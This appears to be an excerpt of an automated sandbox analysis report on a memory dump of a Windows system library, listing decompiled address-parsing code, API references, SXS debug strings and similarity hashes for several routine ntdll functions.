0x6c06d86c
0x6c06d86e
0x6c06d878
0x6c06d89f
0x6c06d8a1
0x6c06d8a4
0x6c06d8aa
0x00000000
0x6c06d8b0
0x6c06d8b0
0x6c06d8b3
0x6c06d8b6
0x6c06d8ba
0x6c06d8bf
0x6c06d8c4
0x6c06d8c7
0x00000000
0x00000000
0x6c06d8cc
0x6c06d8cd
0x6c06d8d0
0x6c06d8d3
0x6c06d8d9
0x00000000
0x6c06d8db
0x00000000
0x6c06d8db
0x00000000
0x6c06d8d9
0x6c06d8e9
0x6c06d8f0
0x6c06d8fd
0x00000000
0x6c06d903
0x6c06d903
0x6c06d909
0x6c06d90b
0x6c06d916
0x00000000
0x6c06d91b
0x6c06d8fd
0x6c06d87a
0x6c06d87d
0x6c06d87e
0x6c06d880
0x6c06d88d
0x00000000
0x6c06d892
0x6c06d846
0x6c06d850
0x00000000
0x6c06d855
0x6c06d844
0x6c02323b
0x6c02323b
0x6c023240
0x6c02332c
0x6c023341
0x6c023246
0x6c023246
0x6c023246
0x6c02324b
0x00000000
0x6c023251
0x6c023251
0x6c023256
0x00000000
0x6c02325c
0x6c023264
0x6c023267
0x6c023269
0x6c02326b
0x6c02326d
0x6c02327e
0x6c023281
0x6c023284
0x6c023289
0x6c02328e
0x00000000
0x6c023294
0x6c023294
0x6c023299
0x00000000
0x6c0232a8
0x6c0232a8
0x6c0232ab
0x6c0232b1
0x6c06d934
0x6c06d938
0x6c06d93e
0x6c06d941
0x6c06d949
0x6c06d94a
0x6c06d94f
0x00000000
0x00000000
0x6c06d951
0x00000000
0x6c06d94f
0x00000000
0x6c06d941
0x00000000
0x6c0232b7
0x6c0232b7
0x6c0232b9
0x6c0232be
0x00000000
0x6c0232c0
0x6c0232c3
0x6c06d920
0x6c06d924
0x00000000
0x6c06d92a
0x6c06d92d
0x00000000
0x6c06d92d
0x6c0232c9
0x6c0232d5
0x6c0232d9
0x6c0232de
0x6c0232e1
0x6c0232e1
0x6c0232e3
0x6c0232e5
0x00000000
0x6c0232e7
0x6c0232e7
0x6c0232ec
0x00000000
0x6c0232ee
0x6c0232ee
0x6c0232f1
0x6c0232f7
0x6c023344
0x6c023344
0x6c023345
0x6c023346
0x6c023347
0x6c06d97e
0x6c06d97e
0x6c06d980
0x6c06d982
0x00000000
0x6c0232f9
0x6c0232f9
0x6c0232fe
0x00000000
0x6c023308
0x6c02330d
0x6c023315
0x6c023317
0x6c023317
0x6c0232fe
0x00000000
0x6c0232f7
0x6c0232ec
0x6c0232e5
0x6c0232c3
0x6c0232be
0x6c0232b1
0x6c023299
0x6c06d956
0x6c06d956
0x6c06d959
0x6c06d959
0x6c06d95c
0x6c06d95c
0x6c06d95d
0x6c06d95f
0x6c06d96a
0x6c06d98a
0x6c06d98a
0x6c02331c
0x6c023329
0x6c023329
0x6c02326d
0x6c023256
0x6c02324b
0x6c023240
0x6c023235
0x00000000

APIs

bsearch.1105(00000001,?,00000020,00000010,6C038C30,00000010,?,C00000E5,00000000,00000030,?,6C008D70,00000000,?,?,00000030), ref: 6C0232D9
DbgPrintEx.1105(00000033,00000000,SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes),?,?,00000010,?,C00000E5,00000000,00000030,?,6C008D70,00000000,?,?,00000030), ref: 6C06D850
DbgPrintEx.1105(00000033,00000000,SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes),?,00000020,00000010,00000030,00000010,?,C00000E5,00000000,00000030,?,6C008D70,00000000,?), ref: 6C06D96A
DbgPrintEx.1105(00000033,00000000,SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu,00000001,?,?,C00000E5,00000000,00000030,?,6C008D70,00000000,?,?,00000030,?), ref: 6C06D982

Strings

SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes), xrefs: 6C06D847
SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes), xrefs: 6C06D961
SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu, xrefs: 6C06D979
SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes), xrefs: 6C023347
SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes), xrefs: 6C06D884
SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes), xrefs: 6C06D90D

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$bsearch
String ID: SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu$SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)$SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes)$SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes)$SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes)$SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)
API String ID: 3813682011-732641482
Opcode ID: 593cbf65440759d8b2d716d432312e4a2e261dd48871fc0834d8968e864ea7d7
Instruction ID: 16bc6888845f5c34297feb33370822113f9a737a16c3f018deec088afcfe034b
Opcode Fuzzy Hash: 593cbf65440759d8b2d716d432312e4a2e261dd48871fc0834d8968e864ea7d7
Instruction Fuzzy Hash: 0581D671A00309AFEB10CF69D881FAEB3F9EB4C354F604129E915A7B81D775AD41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C006D10, Relevance: 21.3, APIs: 14, Instructions: 316
stringCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E6C006D10(char* _a4, intOrPtr* _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				signed int _v16;
				char** _v20;
				signed int _v24;
				signed int _v28;
				char* _v32;
				signed int _t97;
				char** _t99;
				void* _t108;
				long _t115;
				void* _t118;
				char* _t120;
				char** _t121;
				long _t122;
				long _t123;
				signed int _t124;
				void* _t127;
				void* _t132;
				char* _t134;
				char** _t137;
				intOrPtr _t141;
				intOrPtr _t142;
				signed int _t143;
				char _t146;
				signed int _t151;
				char* _t153;
				intOrPtr* _t155;
				void* _t156;
				void* _t157;
				void* _t161;
				void* _t162;
				char** _t170;
				intOrPtr _t172;
				intOrPtr _t173;
				intOrPtr _t175;
				intOrPtr _t177;
				signed int _t179;
				signed int _t180;
				void* _t182;
				void* _t189;

				_t97 = 0;
				_v32 = 0;
				_t170 = 0;
				_v5 = 0;
				_t180 = 0;
				_v28 = 0;
				_t143 = 0;
				_v24 = 0;
				_t179 = 0;
				_v20 = 0;
				_v12 = 0;
				_v16 = 0;
				_t141 =  *_a4;
				while(_t141 != 0) {
					_t117 = _t97;
					if(_t117 != 0) {
						_t118 = _t117 - 1;
						if(_t118 != 0) {
							_t117 = _t118 == 1;
							if(_t118 == 1) {
								goto L3;
							}
							_t121 = _v20;
							_t177 = _v24;
							L27:
							if(_t177 != 1) {
								L32:
								_t142 = _a12;
								L52:
								_t153 = _v32;
								_t180 = _v12;
								if(_t153 == 0) {
									goto L28;
								}
								if(_t121 != 0) {
									if(_t180 > 3) {
										L14:
										return 0xc000000d;
									}
									_t122 = strtol(_t153, 0, 0xa);
									_t189 = _t189 + 0xc;
									if(_t122 > 0xff) {
										goto L14;
									}
									_t170 = _v20;
									 *(_t170 + _v28 * 2 + _t142 - 1) = _t122;
									L29:
									_t97 = _v24;
									L30:
									_t155 = _a4 + 1;
									_a4 = _t155;
									_t141 =  *_t155;
									_t143 = _v16;
									continue;
								}
								if(_t180 > 4) {
									goto L14;
								}
								_t123 = strtol(_t153, _t121, 0x10);
								_t189 = _t189 + 0xc;
								_t124 = _v28;
								 *((short*)(_t142 + _t124 * 2)) = _t123;
								_v28 = _t124 + 1;
							}
							L28:
							_t170 = _v20;
							goto L29;
						}
						_t185 = _t141;
						_t131 = E6C04CB30(_t118, _t141);
						_pop(_t161);
						if(_t131 == 0 || E6C04CC80(_t161, _t185) == 0) {
							_t132 = E6C04CB30(_t131, _t185);
							_pop(_t162);
							if(_t132 == 0 || E6C04CDD0(_t162, _t185) == 0) {
								if(_t141 == 0x3a) {
									if(_v20 != 0 || _t179 > 6) {
										L9:
										_t143 = _v16;
										goto L10;
									} else {
										_t134 = _a4 + 1;
										if( *_t134 != 0x3a) {
											_t177 = 0;
											L43:
											_t180 = _v12;
											_t179 = _t179 + 1;
											_t121 = _v20;
											L26:
											_v24 = _t177;
											goto L27;
										}
										_t143 = _v16;
										if(_t143 != 0) {
											L10:
											_t180 = _v12;
											break;
										}
										_t177 = 2;
										_t37 = _t179 + 1; // 0x1
										_a4 = _t134;
										_push(_t177);
										_v16 = _t37;
										_pop(1);
										goto L43;
									}
								}
								if(_t141 != 0x2e) {
									goto L9;
								}
								if(_v5 != 0) {
									goto L9;
								}
								_t137 = _v20;
								if(_t137 > 2 || _t179 > 6) {
									goto L9;
								} else {
									_t121 = _t137 + 1;
									_v20 = _t121;
									_v24 = 0;
									goto L32;
								}
							} else {
								_t170 = _v20;
								_t180 = _v12 + 1;
								_v12 = _t180;
								if(_t170 != 0) {
									_t143 = _v16;
									break;
								}
								_v5 = 1;
								goto L29;
							}
						} else {
							_t180 = _v12 + 1;
							_v12 = _t180;
							goto L28;
						}
					}
					L3:
					if(_t141 == 0x3a) {
						if(_t170 != 0 || _t179 != 0) {
							break;
						} else {
							_t120 = _a4 + 1;
							if( *_t120 != 0x3a) {
								break;
							}
							_t142 = _a12;
							_a4 = _t120;
							_t121 = _v20;
							_v16 = 1;
							_t151 = _v28;
							_t179 = 2;
							 *((short*)(_t142 + _t151 * 2)) = _t170;
							_t175 = _t179;
							_v28 = _t151 + 1;
							_v24 = _t175;
							goto L52;
						}
					}
					if(_t179 > 7) {
						break;
					}
					_t183 = _t141;
					_t126 = E6C04CB30(_t117, _t141);
					_pop(_t156);
					if(_t126 == 0 || E6C04CC80(_t156, _t183) == 0) {
						_t127 = E6C04CB30(_t126, _t183);
						_pop(_t157);
						if(_t127 == 0 || E6C04CDD0(_t157, _t183) == 0) {
							goto L9;
						} else {
							_t121 = _v20;
							if(_t121 != 0) {
								goto L9;
							}
							_v5 = 1;
							_t177 = 1;
							_v32 = _a4;
							_t180 = 1;
							_v12 = 1;
							goto L26;
						}
					} else {
						_t170 = _v20;
						_v32 = _a4;
						_t97 = 1;
						_v5 = 0;
						_t180 = 1;
						_v24 = 1;
						_v12 = 1;
						goto L30;
					}
				}
				 *_a8 = _a4;
				_t99 = _v20;
				if(_t99 != 0) {
					if(_t99 != 3) {
						goto L14;
					}
					_t179 = _t179 + 1;
				}
				if(_t143 != 0 || _t179 == 7) {
					_t172 = _v24;
					if(_t172 != 1) {
						if(_t172 != 2) {
							goto L14;
						}
						_t173 = _a12;
						 *((short*)(_t173 + _v28 * 2)) = 0;
						L73:
						if(_t143 != 0) {
							_t182 = _t173 + _t143 * 2;
							memmove(_t173 + (_t143 - _t179 + 8) * 2, _t182, _t179 - _t143 + _t179 - _t143);
							_t108 = 8;
							memset(_t182, 0, _t108 - _t179 + _t108 - _t179);
						}
						return 0;
					}
					if(_t99 != 0) {
						if(_t180 > 3) {
							goto L14;
						}
						_t146 = strtol(_v32, 0, 0xa);
						_t189 = _t189 + 0xc;
						if(_t146 > 0xff) {
							goto L14;
						}
						_t173 = _a12;
						 *((char*)(_v20 + _v28 * 2 + _t173)) = _t146;
						L70:
						_t143 = _v16;
						goto L73;
					}
					if(_t180 > 4) {
						goto L14;
					}
					_t115 = strtol(_v32, _t99, 0x10);
					_t173 = _a12;
					_t189 = _t189 + 0xc;
					 *((short*)(_t173 + _v28 * 2)) = _t115;
					goto L70;
				} else {
					goto L14;
				}
			}

0x6c006d1c
0x6c006d1e
0x6c006d21
0x6c006d23
0x6c006d26
0x6c006d28
0x6c006d2b
0x6c006d2d
0x6c006d31
0x6c006d33
0x6c006d39
0x6c006d3c
0x6c006d3f
0x6c006d41
0x6c006d45
0x6c006d48
0x6c006dc7
0x6c006dca
0x6c061e50
0x6c061e53
0x00000000
0x00000000
0x6c061e59
0x6c061e5c
0x6c006e3b
0x6c006e3e
0x6c006e60
0x6c006e60
0x6c061f34
0x6c061f34
0x6c061f37
0x6c061f3c
0x00000000
0x00000000
0x6c061f44
0x6c061f90
0x6c006db9
0x00000000
0x6c006db9
0x6c061f9b
0x6c061fa0
0x6c061fa8
0x00000000
0x00000000
0x6c061fae
0x6c061fb7
0x6c006e43
0x6c006e43
0x6c006e46
0x6c006e49
0x6c006e4a
0x6c006e4d
0x6c006e4f
0x00000000
0x6c006e4f
0x6c061f49
0x00000000
0x00000000
0x6c061f53
0x6c061f5a
0x6c061f5f
0x6c061f62
0x6c061f67
0x6c061f67
0x6c006e40
0x6c006e40
0x00000000
0x6c006e40
0x6c006dd0
0x6c006dd4
0x6c006dd9
0x6c006ddc
0x6c006dea
0x6c006def
0x6c006df2
0x6c006e06
0x6c061e83
0x6c006d8f
0x6c006d8f
0x00000000
0x6c061e92
0x6c061e95
0x6c061e99
0x6c061eb8
0x6c061ebb
0x6c061ebb
0x6c061ebe
0x6c061ec0
0x6c006e38
0x6c006e38
0x00000000
0x6c006e38
0x6c061e9b
0x6c061ea0
0x6c006d92
0x6c006d92
0x00000000
0x6c006d92
0x6c061ea8
0x6c061ea9
0x6c061eac
0x6c061eaf
0x6c061eb0
0x6c061eb3
0x00000000
0x6c061eb3
0x6c061e83
0x6c006e0f
0x00000000
0x00000000
0x6c061ecc
0x00000000
0x00000000
0x6c061ed2
0x6c061ed8
0x00000000
0x6c061ee7
0x6c061ee7
0x6c061eea
0x6c061eed
0x00000000
0x6c061eed
0x6c061e64
0x6c061e67
0x6c061e6a
0x6c061e6b
0x6c061e70
0x6c061fc0
0x00000000
0x6c061fc0
0x6c061e76
0x00000000
0x6c061e76
0x6c006e57
0x6c006e5a
0x6c006e5b
0x00000000
0x6c006e5b
0x6c006ddc
0x6c006d4a
0x6c006d4d
0x6c061ef7
0x00000000
0x6c061f05
0x6c061f08
0x6c061f0c
0x00000000
0x00000000
0x6c061f12
0x6c061f18
0x6c061f1b
0x6c061f1e
0x6c061f21
0x6c061f26
0x6c061f28
0x6c061f2d
0x6c061f2e
0x6c061f31
0x00000000
0x6c061f31
0x6c061ef7
0x6c006d56
0x00000000
0x00000000
0x6c006d58
0x6c006d5c
0x6c006d61
0x6c006d64
0x6c006d76
0x6c006d7b
0x6c006d7e
0x00000000
0x6c006e1a
0x6c006e1a
0x6c006e1f
0x00000000
0x00000000
0x6c006e2c
0x6c006e30
0x6c006e31
0x6c006e34
0x6c006e35
0x00000000
0x6c006e35
0x6c061f6f
0x6c061f74
0x6c061f77
0x6c061f7c
0x6c061f7d
0x6c061f81
0x6c061f82
0x6c061f85
0x00000000
0x6c061f85
0x6c006d64
0x6c006d9b
0x6c006d9d
0x6c006da2
0x6c061fcb
0x00000000
0x00000000
0x6c061fd1
0x6c061fd1
0x6c006daa
0x6c061fd7
0x6c061fdd
0x6c062047
0x00000000
0x00000000
0x6c06204d
0x6c062055
0x6c062059
0x6c06205b
0x6c06205d
0x6c062071
0x6c062078
0x6c062081
0x6c062086
0x00000000
0x6c062089
0x6c061fe1
0x6c06200d
0x00000000
0x00000000
0x6c06201f
0x6c062021
0x6c06202a
0x00000000
0x00000000
0x6c062039
0x6c06203c
0x6c06203f
0x6c06203f
0x00000000
0x6c06203f
0x6c061fe6
0x00000000
0x00000000
0x6c061ff2
0x6c061ff7
0x6c061ffe
0x6c062004
0x00000000
0x00000000
0x00000000
0x00000000

APIs

__isascii.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6C006D5C
isdigit.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6C006D67
__isascii.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6C006D76
isxdigit.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6C006D81
__isascii.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6C006DD4
isdigit.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6C006DDF
__isascii.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6C006DEA
isxdigit.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6C006DF5
strtol.1105(?,00000000,00000010,?,?,00000000,?,00000000,?,00000000), ref: 6C061F53

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: __isascii$isdigitisxdigit$strtol
String ID:
API String ID: 2731936382-0
Opcode ID: ce4017a68cac62f16c561abc348bc20d924df1deea31378d96b57986fe07fbb5
Instruction ID: dd6776739eaed144d8ba58a6df8e5f47411331f3ea950a0b442849f598c25f45
Opcode Fuzzy Hash: ce4017a68cac62f16c561abc348bc20d924df1deea31378d96b57986fe07fbb5
Instruction Fuzzy Hash: 00B1A271F4425A9BEF04CF69C851BAEB7F6AF46308F15812ADC50EBB40D7309A81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6C004360, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 144COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() called with invalid flags 0x%08lx,RtlDeactivateActivationContext,FFFFFFFE), ref: 6C060748
DbgPrintEx.1105(00000033,00000000,SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix,RtlDeactivateActivationContext,?,?), ref: 6C060767
RtlRaiseStatus.1105(C000000D), ref: 6C06077B
RtlRaiseException.1105(?,?,?), ref: 6C0607F3
RtlReleaseActivationContext.1105(?), ref: 6C060800

Strings

SXS: %s() called with invalid cookie type 0x%08Ix, xrefs: 6C06073F
RtlDeactivateActivationContext, xrefs: 6C06072D, 6C06073A, 6C060759
SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix, xrefs: 6C06075E
SXS: %s() called with invalid flags 0x%08lx, xrefs: 6C060732

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: PrintRaise$ActivationContextExceptionReleaseStatus
String ID: RtlDeactivateActivationContext$SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix$SXS: %s() called with invalid cookie type 0x%08Ix$SXS: %s() called with invalid flags 0x%08lx
API String ID: 1148088771-1245972979
Opcode ID: cc00f29cf9d66a607779463629f2949c8f69c6874562e91f9ba35bcc795c9885
Instruction ID: 5655d9fdc4a21c58e6ac6388ba0ee66cf02ab22556a936675c93120489efdb2c
Opcode Fuzzy Hash: cc00f29cf9d66a607779463629f2949c8f69c6874562e91f9ba35bcc795c9885
Instruction Fuzzy Hash: D7412932A98B01ABD311CF2AC841B1AF7E1EB8075CF15852DF4649BF50DB34EA018F99

Uniqueness

Uniqueness Score: -1.00%

Function 6C045969, Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 101COMMON

Download Yara Rule

APIs

memset.1105(?,00000000,0000002C,?,00000000,?,?,?,6C02291C), ref: 6C0459BE
RtlAssert.1105(Internal error check failed,minkernel\ntdll\sxsisol.cpp,0000020C,This != NULL,?,00000000,?,?,?,6C02291C), ref: 6C07F9B3
RtlAssert.1105(Internal error check failed,minkernel\ntdll\sxsisol.cpp,00000219,rUS.Length <= This->PrivatePreallocatedString->MaximumLength,?,00000000,?,?,?,6C02291C), ref: 6C07F9E2

Strings

minkernel\ntdll\sxsisol.cpp, xrefs: 6C07F9A9, 6C07F9D8
(This->PrivateDynamicallyAllocatedString == NULL) || (This->PrivateDynamicallyAllocatedString->Buffer == NULL), xrefs: 6C07F9C2
rUS.Length <= This->PrivatePreallocatedString->MaximumLength, xrefs: 6C07F9CE
Internal error check failed, xrefs: 6C07F9AE, 6C07F9DD
This != NULL, xrefs: 6C07F99F

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Assert$memset
String ID: (This->PrivateDynamicallyAllocatedString == NULL) || (This->PrivateDynamicallyAllocatedString->Buffer == NULL)$Internal error check failed$This != NULL$minkernel\ntdll\sxsisol.cpp$rUS.Length <= This->PrivatePreallocatedString->MaximumLength
API String ID: 2494167153-3589341846
Opcode ID: f73651b05d883145891abd9ff6f9874da2482ab1268123893f16f82631c4fee9
Instruction ID: 4aaec42863885231fd6caab1ce144fc01bb128ff24f978cc5c9afbf33f3f0ae8
Opcode Fuzzy Hash: f73651b05d883145891abd9ff6f9874da2482ab1268123893f16f82631c4fee9
Instruction Fuzzy Hash: 62317275601701EBE7388F69D800F27B3E8AF44718B208A2DE49A97F51D771F841C764

Uniqueness

Uniqueness Score: -1.00%

Function 6C0419F0, Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 42COMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,\System32\,?,6C0419C0,?,?,\SysWOW64,02140000,00000000,?,?), ref: 6C041A15

Strings

\SyCHPE32\, xrefs: 6C07D336
\SysARM32\, xrefs: 6C07D34E
SyCHPE32, xrefs: 6C07D340
SysARM32, xrefs: 6C07D358
SysWOW64, xrefs: 6C041A0C
\System32\, xrefs: 6C041A20
\SysWOW64\, xrefs: 6C041A30
System32, xrefs: 6C041A11, 6C041A29

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode
String ID: SyCHPE32$SysARM32$SysWOW64$System32$\SyCHPE32\$\SysARM32\$\SysWOW64\$\System32\
API String ID: 4228678080-2516413534
Opcode ID: c3f893a951f25d625ec8a474de3c5cc87dd084b3b4b11090bcba9f42921091f1
Instruction ID: 88533e530bc28c4b09eddccd134da22df1151e7fad51ed8d77a22dcf85357e6e
Opcode Fuzzy Hash: c3f893a951f25d625ec8a474de3c5cc87dd084b3b4b11090bcba9f42921091f1
Instruction Fuzzy Hash: 1BF030672DC244E65520473C4A8876B29CA474238CF908133FD50EFE7AD21FCD7642A7

Uniqueness

Uniqueness Score: -1.00%

Function 6C000BD0, Relevance: 15.3, APIs: 10, Instructions: 272COMMON

Download Yara Rule

APIs

iswctype.1105(?,00000004,00000000,?,00000000,?,?,00000000,00000000), ref: 6C000C26
iswctype.1105(?,00000080,?,00000000,?,?,00000000,00000000), ref: 6C000C3C
iswctype.1105(?,00000004,00000000,?,00000000,?,?,00000000,00000000), ref: 6C000CBA
iswctype.1105(?,00000080,?,00000000,?,?,00000000,00000000), ref: 6C000CD0
wcstol.1105(?,00000000,00000010,00000000,?,00000000), ref: 6C05E88C

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype$wcstol
String ID:
API String ID: 3196148086-0
Opcode ID: e8cce5817cc4ce449349599480dfbb7a9bb6f94171a4a7226f78549168923cd8
Instruction ID: dbdb2687185240f32dd3d573f30d854301e276bbb921032481c923e3a137af21
Opcode Fuzzy Hash: e8cce5817cc4ce449349599480dfbb7a9bb6f94171a4a7226f78549168923cd8
Instruction Fuzzy Hash: 4C91EFB5E0825A9BEB20CF59C980BEFB7F1FF41308F658129D85467B40E631AA54CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0071D0, Relevance: 13.7, APIs: 9, Instructions: 162COMMON

Download Yara Rule

APIs

RtlIpv4StringToAddressA.1105(00000000,?,00000000,00000000), ref: 6C0071FB

Part of subcall function 6C007220: __isascii.1105(0000000A,?), ref: 6C007275
Part of subcall function 6C007220: isdigit.1105(00000000,?), ref: 6C007283

__isascii.1105(?,00000000,?,00000000,00000000), ref: 6C06233F
isdigit.1105(?,00000000,?,00000000,00000000), ref: 6C06234A

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: __isasciiisdigit$AddressIpv4String
String ID:
API String ID: 960699662-0
Opcode ID: d1e8079f3b444f1ff0fe202882e6dd36213e97e5e6d2fb41066c33beb2a1206c
Instruction ID: 80138583896ea330d456648eafbecfd2614f2d987f6266a327b22dc838d4302b
Opcode Fuzzy Hash: d1e8079f3b444f1ff0fe202882e6dd36213e97e5e6d2fb41066c33beb2a1206c
Instruction Fuzzy Hash: 23415B35644216A6FB059E29DC547FF77F49F42328F24422AE890A7EC0DB38D686D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6C0946A4, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 206COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context,RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation,?,?,6C0517F0,00000000,?,00000000,?), ref: 6C0946ED

Part of subcall function 6C031D47: memset.1105(00000000,00000000,6C0517F0,?,00000001,00000000,?,6C008D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6C031D87

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u),RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation,00000000,?,6C0DFE98,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000), ref: 6C09474E
memcpy.1105(00000015,?,00000000,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000,6C0517F0,00000000,?,00000000), ref: 6C094831
memcpy.1105(00000015,?,-00000F38,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000,6C0517F0,00000000,?,00000000), ref: 6C0948A2

Strings

SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context, xrefs: 6C0946E5
RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation, xrefs: 6C0946E0, 6C094741
SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u), xrefs: 6C094746

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Printmemcpy$memset
String ID: RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation$SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u)$SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context
API String ID: 3998808364-2744866428
Opcode ID: 1ccdaaa22eefc0cf31c510a11b705ae6a9e9fb90c5f5371b6036db53e1f53423
Instruction ID: 588f7167538976994302b309d469963f1d40bc668d39d8ebd3afdfae0255253d
Opcode Fuzzy Hash: 1ccdaaa22eefc0cf31c510a11b705ae6a9e9fb90c5f5371b6036db53e1f53423
Instruction Fuzzy Hash: 1B810875A0121AEFDB00CF89C8C1BAEB7F5FF49304B249559E824AB715D330EA51DBA1

Uniqueness

Uniqueness Score: -1.00%

